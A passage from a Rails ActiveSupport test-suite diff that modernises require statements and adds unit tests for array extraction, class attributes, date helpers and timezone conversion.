+      { name: "Jason", age: 31, age_in_millis: BigDecimal("1.0") }
     ].to_xml(skip_instruct: true, indent: 0) do |builder|
       builder.count 2
     end
diff --git a/activesupport/test/core_ext/array/extract_options_test.rb b/activesupport/test/core_ext/array/extract_options_test.rb
index 1651bee0f6045..074e253d242dc 100644
--- a/activesupport/test/core_ext/array/extract_options_test.rb
+++ b/activesupport/test/core_ext/array/extract_options_test.rb
@@ -1,6 +1,9 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/array"
 require "active_support/core_ext/hash"
+require "active_support/ordered_options"
 
 class ExtractOptionsTest < ActiveSupport::TestCase
   class HashSubclass < Hash
@@ -42,4 +45,13 @@ def test_extract_options_extracts_hash_with_indifferent_access
     options = array.extract_options!
     assert_equal(1, options[:foo])
   end
+
+  def test_extract_options_extracts_ordered_options
+    hash = ActiveSupport::OrderedOptions.new
+    hash.foo = 1
+    array = [hash]
+    options = array.extract_options!
+    assert_equal({ foo: 1 }, options)
+    assert_equal([], array)
+  end
 end
diff --git a/activesupport/test/core_ext/array/extract_test.rb b/activesupport/test/core_ext/array/extract_test.rb
new file mode 100644
index 0000000000000..5fb42e73a93c0
--- /dev/null
+++ b/activesupport/test/core_ext/array/extract_test.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/core_ext/array"
+
+class ExtractTest < ActiveSupport::TestCase
+  def test_extract
+    numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
+    array_id = numbers.object_id
+
+    odd_numbers = numbers.extract!(&:odd?)
+
+    assert_equal [1, 3, 5, 7, 9], odd_numbers
+    assert_equal [0, 2, 4, 6, 8], numbers
+    assert_equal array_id, numbers.object_id
+  end
+
+  def test_extract_without_block
+    numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
+    array_id = numbers.object_id
+
+    extract_enumerator = numbers.extract!
+
+    assert_instance_of Enumerator, extract_enumerator
+    assert_equal numbers.size, extract_enumerator.size
+
+    odd_numbers = extract_enumerator.each(&:odd?)
+
+    assert_equal [1, 3, 5, 7, 9], odd_numbers
+    assert_equal [0, 2, 4, 6, 8], numbers
+    assert_equal array_id, numbers.object_id
+  end
+
+  def test_extract_on_empty_array
+    empty_array = []
+    array_id = empty_array.object_id
+
+    new_empty_array = empty_array.extract! { }
+
+    assert_equal [], new_empty_array
+    assert_equal [], empty_array
+    assert_equal array_id, empty_array.object_id
+    assert_not_same new_empty_array, empty_array
+  end
+end
diff --git a/activesupport/test/core_ext/array/grouping_test.rb b/activesupport/test/core_ext/array/grouping_test.rb
index 4c6aadba8c500..0e20932f44b86 100644
--- a/activesupport/test/core_ext/array/grouping_test.rb
+++ b/activesupport/test/core_ext/array/grouping_test.rb
@@ -1,16 +1,9 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/array"
 
 class GroupingTest < ActiveSupport::TestCase
-  def setup
-    # In Ruby < 2.4, test we avoid Integer#/ (redefined by mathn)
-    Fixnum.send :private, :/ unless 0.class == Integer
-  end
-
-  def teardown
-    Fixnum.send :public, :/ unless 0.class == Integer
-  end
-
   def test_in_groups_of_with_perfect_fit
     groups = []
     ("a".."i").to_a.in_groups_of(3) do |group|
@@ -114,7 +107,7 @@ def test_split_with_argument
   def test_split_with_block
     a = (1..10).to_a
     assert_equal [[1, 2], [4, 5], [7, 8], [10]], a.split { |i| i % 3 == 0 }
-    assert_equal [1, 2, 3, 4, 5, 6, 7, 8, 9 , 10], a
+    assert_equal [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], a
   end
 
   def test_split_with_edge_values
diff --git a/activesupport/test/core_ext/array/prepend_append_test.rb b/activesupport/test/core_ext/array/prepend_append_test.rb
deleted file mode 100644
index 763e26191dd58..0000000000000
--- a/activesupport/test/core_ext/array/prepend_append_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require "abstract_unit"
-require "active_support/core_ext/array"
-
-class PrependAppendTest < ActiveSupport::TestCase
-  def test_append
-    assert_equal [1, 2], [1].append(2)
-  end
-
-  def test_prepend
-    assert_equal [2, 1], [1].prepend(2)
-  end
-end
diff --git a/activesupport/test/core_ext/array/wrap_test.rb b/activesupport/test/core_ext/array/wrap_test.rb
index ae846cb3f2657..95c572bac51c8 100644
--- a/activesupport/test/core_ext/array/wrap_test.rb
+++ b/activesupport/test/core_ext/array/wrap_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/array"
 
 class WrapTest < ActiveSupport::TestCase
@@ -10,7 +12,7 @@ def to_ary
 
   class Proxy
     def initialize(target) @target = target end
-    def method_missing(*a) @target.send(*a) end
+    def method_missing(...) @target.public_send(...) end
   end
 
   class DoubtfulToAry
diff --git a/activesupport/test/core_ext/bigdecimal_test.rb b/activesupport/test/core_ext/bigdecimal_test.rb
index 43b659546f713..356a87f4bcbcb 100644
--- a/activesupport/test/core_ext/bigdecimal_test.rb
+++ b/activesupport/test/core_ext/bigdecimal_test.rb
@@ -1,9 +1,11 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/big_decimal"
 
 class BigDecimalTest < ActiveSupport::TestCase
   def test_to_s
-    bd = BigDecimal.new "0.01"
+    bd = BigDecimal "0.01"
     assert_equal "0.01", bd.to_s
     assert_equal "+0.01", bd.to_s("+F")
     assert_equal "+0.0 1", bd.to_s("+1F")
diff --git a/activesupport/test/core_ext/class/attribute_test.rb b/activesupport/test/core_ext/class/attribute_test.rb
index 5a9ec78cc129b..dc881c0e365d6 100644
--- a/activesupport/test/core_ext/class/attribute_test.rb
+++ b/activesupport/test/core_ext/class/attribute_test.rb
@@ -1,9 +1,16 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/class/attribute"
 
 class ClassAttributeTest < ActiveSupport::TestCase
   def setup
-    @klass = Class.new { class_attribute :setting }
+    @klass = Class.new do
+      class_attribute :setting
+      class_attribute :timeout, default: 5
+      class_attribute :system # private kernel method
+    end
+
     @sub = Class.new(@klass)
   end
 
@@ -12,6 +19,10 @@ def setup
     assert_nil @sub.setting
   end
 
+  test "custom default" do
+    assert_equal 5, @klass.timeout
+  end
+
   test "inheritable" do
     @klass.setting = 1
     assert_equal 1, @sub.setting
@@ -20,11 +31,14 @@ def setup
   test "overridable" do
     @sub.setting = 1
     assert_nil @klass.setting
+    assert_equal 1, @sub.setting
 
     @klass.setting = 2
+    assert_equal 2, @klass.setting
     assert_equal 1, @sub.setting
 
     assert_equal 1, Class.new(@sub).setting
+    assert_equal 2, Class.new(@klass).setting
   end
 
   test "predicate method" do
@@ -58,34 +72,157 @@ def setup
   test "disabling instance writer" do
     object = Class.new { class_attribute :setting, instance_writer: false }.new
     assert_raise(NoMethodError) { object.setting = "boom" }
+    assert_not_respond_to object, :setting=
   end
 
   test "disabling instance reader" do
     object = Class.new { class_attribute :setting, instance_reader: false }.new
     assert_raise(NoMethodError) { object.setting }
+    assert_not_respond_to object, :setting
     assert_raise(NoMethodError) { object.setting? }
+    assert_not_respond_to object, :setting?
   end
 
   test "disabling both instance writer and reader" do
     object = Class.new { class_attribute :setting, instance_accessor: false }.new
     assert_raise(NoMethodError) { object.setting }
+    assert_not_respond_to object, :setting
     assert_raise(NoMethodError) { object.setting? }
+    assert_not_respond_to object, :setting?
     assert_raise(NoMethodError) { object.setting = "boom" }
+    assert_not_respond_to object, :setting=
   end
 
   test "disabling instance predicate" do
     object = Class.new { class_attribute :setting, instance_predicate: false }.new
     assert_raise(NoMethodError) { object.setting? }
+    assert_not_respond_to object, :setting?
   end
 
   test "works well with singleton classes" do
     object = @klass.new
+
     object.singleton_class.setting = "foo"
+    assert_equal "foo", object.singleton_class.setting
     assert_equal "foo", object.setting
+    assert_nil @klass.setting
+
+    object.singleton_class.setting = "bar"
+    assert_equal "bar", object.setting
+    assert_nil @klass.setting
+
+    @klass.setting = "plop"
+    assert_equal "bar", object.setting
+    assert_equal "plop", @klass.setting
+  end
+
+  test "when defined in a class's singleton class" do
+    @klass = Class.new do
+      class << self
+        class_attribute :__callbacks, default: 1
+      end
+    end
+
+    assert_equal 1, @klass.__callbacks
+    assert_equal 1, @klass.singleton_class.__callbacks
+
+    # I honestly think this is a bug, but that's how it used to behave
+    @klass.__callbacks = 4
+    assert_equal 1, @klass.__callbacks
+    assert_equal 1, @klass.singleton_class.__callbacks
+
+    @klass.singleton_class.__callbacks = 4
+    assert_equal 4, @klass.__callbacks
+    assert_equal 4, @klass.singleton_class.__callbacks
+  end
+
+  test "when defined on an instance's singleton class" do
+    object = @klass.new
+
+    object.singleton_class.class_attribute :external_attr, default: "default_value"
+    assert_equal "default_value", object.external_attr
+    assert_equal "default_value", object.singleton_class.external_attr
+
+    object.external_attr = "new_value"
+    assert_equal "default_value", object.external_attr
+    assert_equal "default_value", object.singleton_class.external_attr
+
+    object.singleton_class.external_attr = "another_value"
+    assert_equal "another_value", object.external_attr
+    assert_equal "another_value", object.singleton_class.external_attr
+  end
+
+  test "works well with module singleton classes" do
+    @module = Module.new do
+      class << self
+        class_attribute :settings, default: 42
+      end
+    end
+
+    assert_equal 42, @module.settings
   end
 
   test "setter returns set value" do
-    val = @klass.send(:setting=, 1)
+    val = @klass.public_send(:setting=, 1)
     assert_equal 1, val
   end
+
+  test "works when overriding private methods from an ancestor" do
+    assert_nil @klass.system
+    @klass.system = 1
+    assert_equal 1, @klass.system
+
+    instance = @klass.new
+    assert_equal 1, instance.system
+    assert_predicate @klass.new, :system?
+    instance.system = 2
+    assert_equal 2, instance.system
+  end
+
+  module Prepending
+    @read = 0
+    @write = 0
+
+    singleton_class.attr_accessor :read, :write
+
+    def setting
+      Prepending.read += 1
+      super
+    end
+
+    def setting=(value)
+      Prepending.write += 1
+      super
+    end
+  end
+
+  test "allow to prepend accessors" do
+    @klass.singleton_class.prepend(Prepending)
+
+    @klass.setting
+    assert_equal 1, Prepending.read
+
+    @klass.setting = true
+    assert_equal 1, Prepending.write
+    assert_equal 1, Prepending.read
+
+    @klass.setting
+    assert_equal 2, Prepending.read
+
+    @sub.setting = false
+    assert_equal 2, Prepending.write
+    assert_equal 2, Prepending.read
+
+    @sub.setting = true
+    assert_equal 3, Prepending.write
+    assert_equal 2, Prepending.read
+  end
+
+  test "can check if value is set on a sub class" do
+    # Note: this isn't a public API test and it's OK to break it.
+    # However if it's broken make sure to update ActiveSupport::Callbacks::ClassMethods#set_callbacks
+    assert_equal false, @sub.singleton_class.private_method_defined?(:__class_attr_setting, false)
+    @sub.setting = true
+    assert_equal true, @sub.singleton_class.private_method_defined?(:__class_attr_setting, false)
+  end
 end
diff --git a/activesupport/test/core_ext/class_test.rb b/activesupport/test/core_ext/class_test.rb
index a7905196ae3d0..5436021b223e6 100644
--- a/activesupport/test/core_ext/class_test.rb
+++ b/activesupport/test/core_ext/class_test.rb
@@ -1,6 +1,8 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/class"
-require "set"
+require "active_support/descendants_tracker"
 
 class ClassTest < ActiveSupport::TestCase
   class Parent; end
@@ -28,11 +30,25 @@ def test_subclasses
 
   def test_descendants_excludes_singleton_classes
     klass = Parent.new.singleton_class
-    refute Parent.descendants.include?(klass), "descendants should not include singleton classes"
+    assert_not Parent.descendants.include?(klass), "descendants should not include singleton classes"
   end
 
   def test_subclasses_excludes_singleton_classes
     klass = Parent.new.singleton_class
-    refute Parent.subclasses.include?(klass), "subclasses should not include singleton classes"
+    assert_not Parent.subclasses.include?(klass), "subclasses should not include singleton classes"
+  end
+
+  def test_subclasses_exclude_reloaded_classes
+    subclass = Class.new(Parent)
+    assert_includes Parent.subclasses, subclass
+    ActiveSupport::DescendantsTracker.clear(Set[subclass])
+    assert_not_includes Parent.subclasses, subclass
+  end
+
+  def test_descendants_exclude_reloaded_classes
+    subclass = Class.new(Parent)
+    assert_includes Parent.descendants, subclass
+    ActiveSupport::DescendantsTracker.clear(Set[subclass])
+    assert_not_includes Parent.descendants, subclass
   end
 end
diff --git a/activesupport/test/core_ext/date_and_time_behavior.rb b/activesupport/test/core_ext/date_and_time_behavior.rb
index 6c77e8f3136eb..cc0a794e57312 100644
--- a/activesupport/test/core_ext/date_and_time_behavior.rb
+++ b/activesupport/test/core_ext/date_and_time_behavior.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 
 module DateAndTimeBehavior
   def test_yesterday
@@ -6,21 +8,11 @@ def test_yesterday
     assert_equal date_time_init(2005, 2, 28, 10, 10, 10), date_time_init(2005, 3, 2, 10, 10, 10).yesterday.yesterday
   end
 
-  def test_prev_day
-    assert_equal date_time_init(2005, 2, 21, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_day
-    assert_equal date_time_init(2005, 2, 28, 10, 10, 10), date_time_init(2005, 3, 2, 10, 10, 10).prev_day.prev_day
-  end
-
   def test_tomorrow
     assert_equal date_time_init(2005, 2, 23, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).tomorrow
     assert_equal date_time_init(2005, 3, 2, 10, 10, 10),  date_time_init(2005, 2, 28, 10, 10, 10).tomorrow.tomorrow
   end
 
-  def test_next_day
-    assert_equal date_time_init(2005, 2, 23, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_day
-    assert_equal date_time_init(2005, 3, 2, 10, 10, 10),  date_time_init(2005, 2, 28, 10, 10, 10).next_day.next_day
-  end
-
   def test_days_ago
     assert_equal date_time_init(2005, 6, 4, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).days_ago(1)
     assert_equal date_time_init(2005, 5, 31, 10, 10, 10),   date_time_init(2005, 6, 5, 10, 10, 10).days_ago(5)
@@ -100,6 +92,21 @@ def test_end_of_quarter
     assert_equal date_time_init(2008, 6, 30, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2008, 5, 31, 0, 0, 0).end_of_quarter
   end
 
+  def test_quarter
+    assert_equal 1, date_time_init(2005, 1, 1, 0, 0, 0).quarter
+    assert_equal 1, date_time_init(2005, 2, 15, 12, 0, 0).quarter
+    assert_equal 1, date_time_init(2005, 3, 31, 23, 59, 59).quarter
+    assert_equal 2, date_time_init(2005, 4, 1, 0, 0, 0).quarter
+    assert_equal 2, date_time_init(2005, 5, 15, 12, 0, 0).quarter
+    assert_equal 2, date_time_init(2005, 6, 30, 23, 59, 59).quarter
+    assert_equal 3, date_time_init(2005, 7, 1, 0, 0, 0).quarter
+    assert_equal 3, date_time_init(2005, 8, 15, 12, 0, 0).quarter
+    assert_equal 3, date_time_init(2005, 9, 30, 23, 59, 59).quarter
+    assert_equal 4, date_time_init(2005, 10, 1, 0, 0, 0).quarter
+    assert_equal 4, date_time_init(2005, 11, 15, 12, 0, 0).quarter
+    assert_equal 4, date_time_init(2005, 12, 31, 23, 59, 59).quarter
+  end
+
   def test_beginning_of_year
     assert_equal date_time_init(2005, 1, 1, 0, 0, 0), date_time_init(2005, 2, 22, 10, 10, 10).beginning_of_year
   end
@@ -157,10 +164,6 @@ def test_next_quarter_on_31st
     assert_equal date_time_init(2005, 11, 30, 15, 15, 10), date_time_init(2005, 8, 31, 15, 15, 10).next_quarter
   end
 
-  def test_next_year
-    assert_equal date_time_init(2006, 6, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).next_year
-  end
-
   def test_prev_week
     assert_equal date_time_init(2005, 2, 21, 0, 0, 0),  date_time_init(2005, 3, 1, 15, 15, 10).prev_week
     assert_equal date_time_init(2005, 2, 22, 0, 0, 0),  date_time_init(2005, 3, 1, 15, 15, 10).prev_week(:tuesday)
@@ -209,8 +212,12 @@ def test_prev_quarter_on_31st
     assert_equal date_time_init(2004, 2, 29, 10, 10, 10), date_time_init(2004, 5, 31, 10, 10, 10).prev_quarter
   end
 
-  def test_prev_year
-    assert_equal date_time_init(2004, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).prev_year
+  def test_last_month_on_31st
+    assert_equal date_time_init(2004, 2, 29, 0, 0, 0), date_time_init(2004, 3, 31, 0, 0, 0).last_month
+  end
+
+  def test_last_year
+    assert_equal date_time_init(2004, 6, 5, 10, 0, 0), date_time_init(2005, 6, 5, 10, 0, 0).last_year
   end
 
   def test_days_to_week_start
@@ -245,24 +252,24 @@ def test_days_to_week_start_with_default_set
 
   def test_beginning_of_week
     assert_equal date_time_init(2005, 1, 31, 0, 0, 0),  date_time_init(2005, 2, 4, 10, 10, 10).beginning_of_week
-    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 11, 28, 0, 0, 0).beginning_of_week #monday
-    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 11, 29, 0, 0, 0).beginning_of_week #tuesday
-    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 11, 30, 0, 0, 0).beginning_of_week #wednesday
-    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 01, 0, 0, 0).beginning_of_week #thursday
-    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 02, 0, 0, 0).beginning_of_week #friday
-    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 03, 0, 0, 0).beginning_of_week #saturday
-    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 04, 0, 0, 0).beginning_of_week #sunday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 11, 28, 0, 0, 0).beginning_of_week # monday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 11, 29, 0, 0, 0).beginning_of_week # tuesday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 11, 30, 0, 0, 0).beginning_of_week # wednesday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 01, 0, 0, 0).beginning_of_week # thursday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 02, 0, 0, 0).beginning_of_week # friday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 03, 0, 0, 0).beginning_of_week # saturday
+    assert_equal date_time_init(2005, 11, 28, 0, 0, 0), date_time_init(2005, 12, 04, 0, 0, 0).beginning_of_week # sunday
   end
 
   def test_end_of_week
     assert_equal date_time_init(2008, 1, 6, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 12, 31, 10, 10, 10).end_of_week
-    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 27, 0, 0, 0).end_of_week #monday
-    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 28, 0, 0, 0).end_of_week #tuesday
-    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 29, 0, 0, 0).end_of_week #wednesday
-    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 30, 0, 0, 0).end_of_week #thursday
-    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 31, 0, 0, 0).end_of_week #friday
-    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 9, 01, 0, 0, 0).end_of_week #saturday
-    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 9, 02, 0, 0, 0).end_of_week #sunday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 27, 0, 0, 0).end_of_week # monday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 28, 0, 0, 0).end_of_week # tuesday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 29, 0, 0, 0).end_of_week # wednesday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 30, 0, 0, 0).end_of_week # thursday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 8, 31, 0, 0, 0).end_of_week # friday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 9, 01, 0, 0, 0).end_of_week # saturday
+    assert_equal date_time_init(2007, 9, 2, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 9, 02, 0, 0, 0).end_of_week # sunday
   end
 
   def test_end_of_month
@@ -276,6 +283,26 @@ def test_end_of_year
     assert_equal date_time_init(2007, 12, 31, 23, 59, 59, Rational(999999999, 1000)), date_time_init(2007, 12, 31, 10, 10, 10).end_of_year
   end
 
+  def test_next_occurring
+    assert_equal date_time_init(2017, 12, 18, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).next_occurring(:monday)
+    assert_equal date_time_init(2017, 12, 19, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).next_occurring(:tuesday)
+    assert_equal date_time_init(2017, 12, 20, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).next_occurring(:wednesday)
+    assert_equal date_time_init(2017, 12, 21, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).next_occurring(:thursday)
+    assert_equal date_time_init(2017, 12, 15, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).next_occurring(:friday)
+    assert_equal date_time_init(2017, 12, 16, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).next_occurring(:saturday)
+    assert_equal date_time_init(2017, 12, 17, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).next_occurring(:sunday)
+  end
+
+  def test_prev_occurring
+    assert_equal date_time_init(2017, 12, 11, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:monday)
+    assert_equal date_time_init(2017, 12, 12, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:tuesday)
+    assert_equal date_time_init(2017, 12, 13, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:wednesday)
+    assert_equal date_time_init(2017, 12,  7, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:thursday)
+    assert_equal date_time_init(2017, 12,  8, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:friday)
+    assert_equal date_time_init(2017, 12,  9, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:saturday)
+    assert_equal date_time_init(2017, 12, 10, 3, 14, 15), date_time_init(2017, 12, 14, 3, 14, 15).prev_occurring(:sunday)
+  end
+
   def test_monday_with_default_beginning_of_week_set
     with_bw_default(:saturday) do
       assert_equal date_time_init(2012, 9, 17, 0, 0, 0), date_time_init(2012, 9, 18, 0, 0, 0).monday
@@ -289,28 +316,40 @@ def test_sunday_with_default_beginning_of_week_set
   end
 
   def test_on_weekend_on_saturday
-    assert date_time_init(2015, 1, 3, 0, 0, 0).on_weekend?
-    assert date_time_init(2015, 1, 3, 15, 15, 10).on_weekend?
+    assert_predicate date_time_init(2015, 1, 3, 0, 0, 0), :on_weekend?
+    assert_predicate date_time_init(2015, 1, 3, 15, 15, 10), :on_weekend?
   end
 
   def test_on_weekend_on_sunday
-    assert date_time_init(2015, 1, 4, 0, 0, 0).on_weekend?
-    assert date_time_init(2015, 1, 4, 15, 15, 10).on_weekend?
+    assert_predicate date_time_init(2015, 1, 4, 0, 0, 0), :on_weekend?
+    assert_predicate date_time_init(2015, 1, 4, 15, 15, 10), :on_weekend?
   end
 
   def test_on_weekend_on_monday
-    assert_not date_time_init(2015, 1, 5, 0, 0, 0).on_weekend?
-    assert_not date_time_init(2015, 1, 5, 15, 15, 10).on_weekend?
+    assert_not_predicate date_time_init(2015, 1, 5, 0, 0, 0), :on_weekend?
+    assert_not_predicate date_time_init(2015, 1, 5, 15, 15, 10), :on_weekend?
   end
 
   def test_on_weekday_on_sunday
-    assert_not date_time_init(2015, 1, 4, 0, 0, 0).on_weekday?
-    assert_not date_time_init(2015, 1, 4, 15, 15, 10).on_weekday?
+    assert_not_predicate date_time_init(2015, 1, 4, 0, 0, 0), :on_weekday?
+    assert_not_predicate date_time_init(2015, 1, 4, 15, 15, 10), :on_weekday?
   end
 
   def test_on_weekday_on_monday
-    assert date_time_init(2015, 1, 5, 0, 0, 0).on_weekday?
-    assert date_time_init(2015, 1, 5, 15, 15, 10).on_weekday?
+    assert_predicate date_time_init(2015, 1, 5, 0, 0, 0), :on_weekday?
+    assert_predicate date_time_init(2015, 1, 5, 15, 15, 10), :on_weekday?
+  end
+
+  def test_before
+    assert_equal false, date_time_init(2017, 3, 6, 12, 0, 0).before?(date_time_init(2017, 3, 5, 12, 0, 0))
+    assert_equal false, date_time_init(2017, 3, 6, 12, 0, 0).before?(date_time_init(2017, 3, 6, 12, 0, 0))
+    assert_equal true, date_time_init(2017, 3, 6, 12, 0, 0).before?(date_time_init(2017, 3, 7, 12, 0, 0))
+  end
+
+  def test_after
+    assert_equal true, date_time_init(2017, 3, 6, 12, 0, 0).after?(date_time_init(2017, 3, 5, 12, 0, 0))
+    assert_equal false, date_time_init(2017, 3, 6, 12, 0, 0).after?(date_time_init(2017, 3, 6, 12, 0, 0))
+    assert_equal false, date_time_init(2017, 3, 6, 12, 0, 0).after?(date_time_init(2017, 3, 7, 12, 0, 0))
   end
 
   def with_bw_default(bw = :monday)
diff --git a/activesupport/test/core_ext/date_and_time_compatibility_test.rb b/activesupport/test/core_ext/date_and_time_compatibility_test.rb
index 4c90460032658..a684a94709e79 100644
--- a/activesupport/test/core_ext/date_and_time_compatibility_test.rb
+++ b/activesupport/test/core_ext/date_and_time_compatibility_test.rb
@@ -1,6 +1,8 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/time"
-require "time_zone_test_helpers"
+require_relative "../time_zone_test_helpers"
 
 class DateAndTimeCompatibilityTest < ActiveSupport::TestCase
   include TimeZoneTestHelpers
@@ -10,118 +12,120 @@ def setup
     @date_time = DateTime.new(2016, 4, 23, 14, 11, 12, 0)
     @utc_offset = 3600
     @system_offset = -14400
+    @system_dst_offset = -18000
     @zone = ActiveSupport::TimeZone["London"]
   end
 
   def test_time_to_time_preserves_timezone
-    with_preserve_timezone(true) do
-      with_env_tz "US/Eastern" do
-        time = Time.new(2016, 4, 23, 15, 11, 12, 3600).to_time
-
-        assert_instance_of Time, time
-        assert_equal @utc_time, time.getutc
-        assert_equal @utc_offset, time.utc_offset
-      end
+    with_env_tz "US/Eastern" do
+      source = Time.new(2016, 4, 23, 15, 11, 12, 3600)
+      time = source.to_time
+
+      assert_instance_of Time, time
+      assert_equal @utc_time, time.getutc
+      assert_equal @utc_offset, time.utc_offset
+      assert_equal source.object_id, time.object_id
     end
   end
 
-  def test_time_to_time_does_not_preserve_time_zone
-    with_preserve_timezone(false) do
-      with_env_tz "US/Eastern" do
-        time = Time.new(2016, 4, 23, 15, 11, 12, 3600).to_time
+  def test_time_to_time_frozen_preserves_timezone
+    with_env_tz "US/Eastern" do
+      source = Time.new(2016, 4, 23, 15, 11, 12, 3600).freeze
+      time = source.to_time
 
-        assert_instance_of Time, time
-        assert_equal @utc_time, time.getutc
-        assert_equal @system_offset, time.utc_offset
-      end
+      assert_instance_of Time, time
+      assert_equal @utc_time, time.getutc
+      assert_equal @utc_offset, time.utc_offset
+      assert_equal source.object_id, time.object_id
+      assert_predicate time, :frozen?
     end
   end
 
   def test_datetime_to_time_preserves_timezone
-    with_preserve_timezone(true) do
-      with_env_tz "US/Eastern" do
-        time = DateTime.new(2016, 4, 23, 15, 11, 12, Rational(1, 24)).to_time
-
-        assert_instance_of Time, time
-        assert_equal @utc_time, time.getutc
-        assert_equal @utc_offset, time.utc_offset
-      end
+    with_env_tz "US/Eastern" do
+      source = DateTime.new(2016, 4, 23, 15, 11, 12, Rational(1, 24))
+      time = source.to_time
+
+      assert_instance_of Time, time
+      assert_equal @utc_time, time.getutc
+      assert_equal @utc_offset, time.utc_offset
     end
   end
 
-  def test_datetime_to_time_does_not_preserve_time_zone
-    with_preserve_timezone(false) do
-      with_env_tz "US/Eastern" do
-        time = DateTime.new(2016, 4, 23, 15, 11, 12, Rational(1, 24)).to_time
+  def test_datetime_to_time_frozen_preserves_timezone
+    with_env_tz "US/Eastern" do
+      source = DateTime.new(2016, 4, 23, 15, 11, 12, Rational(1, 24)).freeze
+      time = source.to_time
 
-        assert_instance_of Time, time
-        assert_equal @utc_time, time.getutc
-        assert_equal @system_offset, time.utc_offset
-      end
+      assert_instance_of Time, time
+      assert_equal @utc_time, time.getutc
+      assert_equal @utc_offset, time.utc_offset
+      assert_not_predicate time, :frozen?
     end
   end
 
   def test_twz_to_time_preserves_timezone
-    with_preserve_timezone(true) do
-      with_env_tz "US/Eastern" do
-        time = ActiveSupport::TimeWithZone.new(@utc_time, @zone).to_time
-
-        assert_instance_of Time, time
-        assert_equal @utc_time, time.getutc
-        assert_instance_of Time, time.getutc
-        assert_equal @utc_offset, time.utc_offset
-
-        time = ActiveSupport::TimeWithZone.new(@date_time, @zone).to_time
-
-        assert_instance_of Time, time
-        assert_equal @date_time, time.getutc
